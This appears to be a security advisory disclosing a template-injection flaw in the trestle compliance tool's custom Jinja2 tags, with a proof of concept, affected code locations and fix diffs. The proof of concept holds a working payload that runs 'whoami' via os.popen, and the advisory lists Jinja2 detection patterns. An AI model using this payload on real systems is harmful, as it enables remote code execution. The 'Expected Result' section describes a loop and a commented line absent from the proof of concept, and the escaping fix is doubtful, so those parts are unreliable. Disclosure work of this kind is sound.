Details
Proof of Concept
Setup
# Initialize trestle workspace
trestle init
# Create malicious markdown file with Jinja2 payload
cat > malicious.md << 'EOF'
---
yaml_header: ignored
---
# Compliance Documentation
Testing SSTI vulnerability:
Execute command: {{ ssp.__class__.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}
EOF
# Create trigger template
cat > trigger.md.jinja << 'EOF'
# POC: SSTI via md_clean_include tag
{% md_clean_include "malicious.md" %}
EOF
# Create a dummy LUT file
cat > empty.yaml << 'EOF'
lut:
api_key: super_secret_token_12345
db_password: P@ssw0rd_2024
jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
aws_access_key: AKIAIOSFODNN7EXAMPLE
aws_secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
internal_api: https://internal.corp.example.com/api/v2/users
EOF
Execution
trestle init
trestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml
Observed Output
# POC: SSTI via md_clean_include tag
# Compliance Documentation
Testing SSTI vulnerability:
Execute command: root
Expected Result
The rendered output.md will contain the output of the {% for %} loop, revealing all key-value pairs from the lut template context dictionary. If the commented-out object traversal line is uncommented, Python internal objects may be accessible depending on the Jinja2 version and configuration.
Affected Component
- File:
trestle/core/jinja/tags.py - Class:
MDCleanInclude(lines 106-151) - Class:
MDSectionInclude(lines 47-103) - Function:
MDCleanInclude.parse()(line 115),MDSectionInclude.parse()(line 56) - Configuring module:
trestle/core/commands/author/jinja.py, method_create_jinja_environment()(line 304) - Dependency: Jinja2 (any version) — the vulnerability is in application code, not the Jinja2 library
Fix Recommendation
> Important: The fix for render_template() (removing the recursive while loop) was a necessary first step, but is not sufficient. The same root cause exists in the custom Jinja2 tags. A comprehensive fix must address ALL code paths where data is re-parsed as Jinja2 template source.
Comprehensive Fix Strategy
Step 1 (Root cause fix): Remove all secondary Jinja2 parsing from custom tags where it is not needed:
# tags.py: MDCleanInclude.parse() — replace lines 148-151:
- local_parser = Parser(self.environment, content)
- top_level_output = local_parser.parse()
- return top_level_output.body
+ from jinja2 import nodes
+ return [nodes.Output([nodes.TemplateData(content)])]
# tags.py: MDSectionInclude.parse() — replace lines 100-103:
- local_parser = Parser(self.environment, md_section.content.raw_text)
- top_level_output = local_parser.parse()
- return top_level_output.body
+ from jinja2 import nodes
+ return [nodes.Output([nodes.TemplateData(md_section.content.raw_text)])]
Step 2 (Defense in depth): Switch to SandboxedEnvironment in _create_jinja_environment():
# jinja.py:304-308 — _create_jinja_environment()
+ from jinja2.sandbox import SandboxedEnvironment
- return Environment(
+ return SandboxedEnvironment(
loader=FileSystemLoader(template_folder),
extensions=extensions(),
trim_blocks=True,
autoescape=True
)
Step 3 (Input validation): Add validation to reject input data containing Jinja2 syntax:
# jinja.py: add to _run() before rendering
_JINJA2_DANGEROUS_PATTERNS = [
r'\{\{.*__globals__',
r'\{\{.*__class__',
r'\{\{.*__mro__',
r'\{\{.*__subclasses__',
r'\{\{.*__init__',
r'\{\{.*os\.system',
r'\{\{.*subprocess',
r'\{%\s*for\s',
r'\{%\s*if\s',
]
def _validate_data_field(value: str) -> bool:
"""Reject data values containing suspicious Jinja2 syntax."""
for pattern in _JINJA2_DANGEROUS_PATTERNS:
if re.search(pattern, value):
return False
return True
Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data
# tags.py: before any secondary parsing
+ import re
+ def escape_jinja2(text: str) -> str:
+ return re.sub(r'(\{\{|\{%|\{#)', r'\\\1', text)
+
+ content = escape_jinja2(content) # apply before Parser()
local_parser = Parser(self.environment, content)